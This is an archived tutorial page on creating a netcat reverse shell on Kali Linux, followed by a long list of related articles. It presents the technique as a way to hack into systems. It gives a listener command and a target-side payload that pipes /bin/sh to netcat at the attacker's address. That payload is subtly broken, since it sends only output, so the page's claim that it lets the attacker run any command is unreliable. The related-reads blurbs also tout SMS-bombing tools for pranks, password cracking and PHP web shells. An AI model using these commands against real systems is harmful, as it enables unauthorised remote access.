The Wayback Machine - https://web.archive.org/web/20241004084338/https://www.geeksforgeeks.org/how-to-create-reverse-shells-with-netcat-in-kali-linux/
Open In App

How to Create Reverse Shells with Netcat in Kali Linux?

Last Updated : 30 Jun, 2020
Summarize
Comments
Improve
Suggest changes
Like Article
Like
Save
Share
Report
News Follow

Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. To know more, you can go through the article netcat command.

Generally, in order to hack into a system, an attacker tries to gain shell access to execute the malicious payload commands. The gained shell is called the reverse shell which could be used by an attacker as a root user and the attacker could do anything out of it. During the whole process, the attacker’s machine acts as a server that waits for an incoming connection, and that connection comes along with a shell.

Creating Reverse Shells

1. Setup a listener: The very first step is to set up a listener on the attacker’s machine in order to act as a server and to listen to the incoming connections. Use the following command to start listening.

nc –nlvp 5555

Replace the port number 5555 with the port you want to receive the connection on.

netcat-listen

This will start the listener on the port 5555.

2. Receive connection along with a shell from target: Now as we have started listening, it’s time to execute a basic payload at the target so that we could get a reverse shell. Use the following command to send the request to the attacker.

/bin/sh | nc 127.0.0.1 5555

Replace 127.0.0.1 with the host IP of the attacker and 5555 with the attacker’s port.

netcat-connect

This will give a reverse shell to the attacker which attacker could use to execute any command.

3. Executing a command through shell: Now if we enter any command at the receiver’s terminal the output would be displayed on the attacker’s terminal.

netcat-live-reverse-shell



Similar Reads

List out all the Shells Using Linux Commands
There are various methods to list all the shells which are installed in our Linux system. A Shell is a software program that acts as an interface between the user and the operating system(OS). It can also be thought of as a command interpreter that is used to execute another program. Method 1: Using cat command Example: cat /etc/shells Explanation:
1 min read
Different Shells in Linux
SHELL is a program which provides the interface between the user and an operating system. When the user logs in OS starts a shell for user. Kernel controls all essential computer operations, and provides the restriction to hardware access, coordinates all executing utilities, and manages Resources between process. Using kernel only user can access
5 min read
How to Code Your Own Port Scanner Using BASH Script and netcat Tool in Linux?
The first step of penetration testing is reconnaissance (information gathering) which involves scanning for open ports in the machine. There are various tools available on the internet to perform port scanning but, the ability to make your own port scanner is just felt amazing. So here are the steps to follow in order to achieve the same. To make t
3 min read
Creating a Simple Chat with netcat in Linux
Firstly, We should know that what is netcat, which is also known as TCP/IP swiss army knife a feature-rich network utility. netcat can do port scanning, transfer files, create a listener, or stream media, and many more. The netcat utility program supports a wide range of commands to manage networks and monitor the flow of traffic data between syste
2 min read
Force netcat to send messages immediately (without buffering) in Linux
Netcat, also known as "nc," is a tool that helps devices communicate with each other. It's handy for sharing information over the internet. Initially made for Unix-like systems, it's now crucial for checking networks, securing data transfers, and assessing network security. A key thing about Netcat is that it can make two-way communication happen.
5 min read
Practical Uses of nc(netcat) command in Linux
Netcat is one of the most powerful networking tools, security tools, and network monitoring tools. It is even considered a Swiss army knife of networking tools. It acts like a cat command over a network. It is generally used for the following reasons: Operation related to TCP, UDP, or UNIX-domain sockets.Port ScanningPort ListeningPort redirectiono
8 min read
Shellfinder - Simple Tool to Find Shells and Endpoints in Websites
A shell is a malicious PHP file executed by accessing it via a web browser. It is a PHP script allowing the attacker to control the server - essentially a backdoor program, similar in functionality to a Trojan for personal computers. Shellfinder tool finds the route through which this malicious file can be uploaded to the target server and how the
2 min read
Kali-Whoami - Stay anonymous on Kali Linux
In today's life, we are surrounded by a lot of cyber security tools and we talk about our online anonymity, but are we really anonymous? A single mistake can reveal our anonymity, so here is a tool that can help us to make anonymity possible and it is called WHOAMI. It is very useful and has a very simple UI. Note: if you are a parrot user then you
3 min read
How to use a Reverse Shell in Metasploit in Kali Linux
Metasploit is not just a single tool. It is a complete framework. It is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code, it is flexible and extremely robust and has tons of tools to perform various simple and complex tasks. Metasploit Framework creates payloads in form of apk, exe, etc. f
4 min read
Uploading a Reverse Shell to a Web Server in Kali Linux
We basically hack the webserver for gaining access to the system. We look into what is inside the web server and we want to have full control of the web server. Therefore we can download or access the uploaded content. In this article, we are using a reverse shell made with PHP. We are uploading the reverse shell into the web server and trying to h
3 min read
Creating a Persistent Reverse Shell with Metasploit in Kali Linux
A reverse shell is a type of network connection in which a command shell is executed on a remote machine, and the input and output of the shell are transmitted over the network back to the local machine. This allows a user on the local machine to execute commands on the remote machine and receive the output of those commands. Reverse shells are oft
4 min read
Netcat - Basic Usage and Overview
Netcat is a Unix utility which reads and writes data across network connections using TCP or UDP protocol. Following tasks can be done easily with Netcat: Connect to a port of a target host.Listen to a certain port for any inbound connections.Send data across client and server once the connection is established.Transfer files across the network onc
3 min read
Minimal Web Server Using Netcat
Netcat is a networking utility that can be used to complete various tasks over TCP and UDP. It can be used to send TCP and UDP packets, also it can listen on the ports, specified for UDP and TCP. This utility is well-known for its versatility, as its application ranges from setting up simple chat servers to building your reverse shell. The interest
7 min read
How to Send a File Using Netcat and Then Keep the Connection Alive
Netcat (NC) is a popular networking utility tool for reading and writing data across network connections using TCP or UDP protocols. It can be used for both attack and security, in the case of attacking. It helps us to debug the network along with investigating it. It runs on all operating systems. Netcat (NC) is a well-known systems administration
6 min read
Using netcat to send a UDP packet without binding
Netcat, also known as nc, is a powerful networking tool used for various tasks, including sending data across networks using TCP or UDP protocols. It is a versatile tool with applications across network security, administration, and troubleshooting. This guide will specifically focus on using Netcat to send a UDP packet without binding to a local p
9 min read
Netcat bidirectional communication
Netcat, often called "nc," is a versatile networking utility that provides a simple yet powerful means of bidirectional communication across networks. Originally developed for Unix-like operating systems, Netcat has become a staple tool for network troubleshooting, data transfer, and even a backdoor for network security testing. This guide will exp
3 min read
How to make an HTTP GET request manually with netcat?
Netcat,also known as "nc", is a powerful Unix-networking utility that enables users to interact with network services through a command-line interface (CLI). It uses both TCP and UDP network protocols for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Although
6 min read
Run a Command Conditionally with netcat and grep
In this article, we will explore the combination of Netcat (nc) and Grep commands in a Unix-like environment to execute commands conditionally based on specific search criteria. Netcat enables network communication, serving as a tool for sending and receiving data across networks. Meanwhile, Grep excels at pattern matching within textual data. By i
4 min read
How to switch to netcat-traditional in Ubuntu?
Netcat or nc is one of the favorable network tools that functions in both the TCP/UDP connections. This tool is developed for powerful systems like Unix-based, Netcat also enables users to create connections between different computer nodes, transfer data na dalso establish various network-related functionalities. In Ubuntu, the default Netcat impl
3 min read
Difference Between Arch Linux and Kali Linux
Arch Linux is an open-source Linux-based Operating System that is freely available for use. It belongs to the Pacman-based Linux family. It is a light weighted OS for daily use and could even be used by professionals. It was first released in March 2002. It is a beginner-friendly Linux Operating System. Features of Arch Linux: Minimalist approach:
4 min read
Create Custom Wordlists Using Crunch in Kali Linux
In order to crack a password, we have to try a lot of passwords to get the right one. When an attacker uses thousands or millions of words or character combinations to crack a password, there is no surety that any of those combinations will work. This collection of different combinations of characters is called a wordlist. And in order to crack a p
2 min read
Kali Linux - Password Cracking Tool
Password cracking is a mechanism that is used in most of the parts of hacking. Exploitation uses it to exploit the applications by cracking their administrator or other account passwords, Information Gathering uses it when we have to get the social media or other accounts of the C.E.O. or other employees of the target organization, Wifi Hacking use
5 min read
XSS-Freak - XSS Scanner Fully Written in Kali Linux
XSS or Cross-Site Scripting is the most emerging security flaw in Web Applications. When the arbitrary or malicious JavaScript is executed by the web application then it is said to be an XSS Vulnerable Website. There are various XSS Scanners through which we can detect the XSS on the target domain. XSS-Freak is an XSS Scanner developed in the Pytho
3 min read
Sherlock - Hunt Username on Social Media Kali Linux Tool
Sherlock is a free and open-source tool available on GitHub. This tool is free you can download it from Github and can use it for free of cost. Sherlock is used to finding usernames on social media on 300 sites. As you know many users register themselves on social media platforms using their own name. Suppose we need to find someone on any social m
3 min read
TheSpeedX / TBomb - Call and SMS Bomber for Kali Linux
TBomb is a free and open-source tool available on GitHub which is used to perform call and SMS bombing on the target phone number. This is the best tool for performing pranks on someone. This tool is written in python, so you must have python installed in your kali linux operating system. This tool works with open-source intelligence APIs that's wh
2 min read
YetAnotherSMSBomber - SMS Bomber in kali linux
YetAnotherSMSBomber is a free and open-source tool available on GitHub. This tool doesn't take your phone number, you only have to enter the target phone number and the tool will do the rest of the work. You must ensure that you always install the latest version of YetAnotherSMSBomber from GitHub in order to not get stuck with the working of the to
2 min read
Gasmask – Information Gathering Tool in Kali Linux
Gasmask is a free and open-source tool available on Github. Gasmask is an Open Source Intelligence and Information Gathering Tool based on (OSINT). Gasmask is capable of doing everything almost you need for reconnaissance as per your need it can perform reconnaissance easily. Gasmask works as an open-source tool intelligence tool. It integrates wit
7 min read
Difference Between Ubuntu and Kali Linux
Ubuntu is a Linux based Operating System and belongs to the Debian family of Linux. As it is Linux based, so it is freely available for use and is open source. It was developed by a team "Canonical" lead by Mark Shuttleworth. The term "ubuntu" is derived from an African word meaning ‘humanity to others’. The Chinese version of Ubuntu is used for ru
4 min read
Knock - Subdomain Scanner Tool in Kali Linux
Knock is a tool written in Python and is designed to enumerate subdomains in a target domain through a wordlist. Installation: First clone the tool from the GitHub repository by using the below command. git clone https://github.com/santiko/KnockPy.git Then Change to your preferred directory. cd KnockPy How to use: Run tool: To run the tool and to k
1 min read
How to determine the cause for a restart in Kali Linux?
We can figure out what caused the reboot through a few different methods. We'll go through those methods in this post and use accessible programs and logs on a Linux system to diagnose such issues. It's not uncommon to discover that a Linux system has restarted unexpectedly or for no apparent reason. Finding and fixing the core cause might help pre
4 min read
Article Tags :